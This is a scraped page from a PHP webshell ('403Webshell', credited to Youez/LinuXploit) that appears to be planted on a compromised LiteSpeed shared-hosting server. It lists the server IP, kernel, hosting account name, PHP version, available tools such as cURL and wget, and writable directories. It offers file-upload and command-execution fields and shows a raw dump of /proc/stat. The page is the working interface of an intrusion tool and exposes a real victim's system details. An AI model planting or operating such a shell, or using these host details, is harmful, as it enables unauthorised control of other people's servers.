403Webshell
Server IP : 104.21.14.103  /  Your IP : 3.145.162.235
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/stat
cpu  1686763911 23839141 516654899 707722053 168428149 46135994 71256719 247630553 0 0
cpu0 70638885 992796 21546816 29530107 7078107 1609139 2855556 10159167 0 0
cpu1 70747000 1002159 21550003 29503753 7074287 1591534 2778690 10143498 0 0
cpu2 70765290 1000152 21547010 29496324 7072452 1604024 2752017 10140515 0 0
cpu3 70702877 1002316 21541275 29568637 7101912 1588284 2736729 10148907 0 0
cpu4 71084996 1006458 21534331 29438917 7133937 1596793 2429994 10117737 0 0
cpu5 71085651 999757 21524439 29478164 7106470 1607245 2424234 10112232 0 0
cpu6 71095761 1007221 21489509 29503194 7123858 1591530 2421129 10114958 0 0
cpu7 71149575 995323 21506180 29451459 7120657 1598588 2417516 10095951 0 0
cpu8 70687901 998529 21592457 29536362 7099535 1592528 2726659 10123313 0 0
cpu9 70705719 1001139 21574246 29513143 7120252 1596569 2717046 10153657 0 0
cpu10 70094694 996944 21555876 29961556 7194625 1599559 2726171 10291426 0 0
cpu11 64093704 928344 22028362 30035746 6504189 1952961 8245078 11247945 0 0
cpu12 68037209 957531 22403899 29108411 6714611 2070645 5334628 9415906 0 0
cpu13 70831630 995499 21556324 29464525 7093024 1589159 2715650 10120906 0 0
cpu14 70590798 994996 21596553 29460987 7076061 1612875 2883857 10131128 0 0
cpu15 70811369 997419 21564182 29441351 7092200 1630035 2715457 10106681 0 0
cpu16 70671373 988722 21585014 29575363 7102659 1585796 2725218 10141588 0 0
cpu17 70706403 996447 21605530 29468148 7081013 1606534 2791225 10064047 0 0
cpu18 70810306 992811 21561528 29480515 7093514 1584672 2716261 10116730 0 0
cpu19 70808422 996140 21547616 29498204 7103967 1579866 2709840 10120929 0 0
cpu20 71099582 1001025 21500825 29509334 7121187 1587230 2408715 10097168 0 0
cpu21 71136647 1008775 21485932 29492095 7130211 1577066 2403721 10089512 0 0
cpu22 71085682 1002225 21513419 29497072 7131291 1590711 2407140 10099572 0 0
cpu23 67322426 976401 19743563 28708676 5958117 8592637 2214178 14277069 0 0
intr 62288319265 224 9 0 0 1219 0 0 0 0 0 0 0 243 0 1369837 0 0 0 0 0 0 0 0 0 0 0 0 3987983208 0 1808567558 2657924732 0 88281351 83337966 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 46036856948
btime 1727850091
processes 152268918
procs_running 31
procs_blocked 10
softirq 30999613769 1 1504447064 3835 3508935711 3935264727 0 209353032 1882150369 1974454 2777615392

Youez - 2016 - github.com/yon3zu
LinuXploit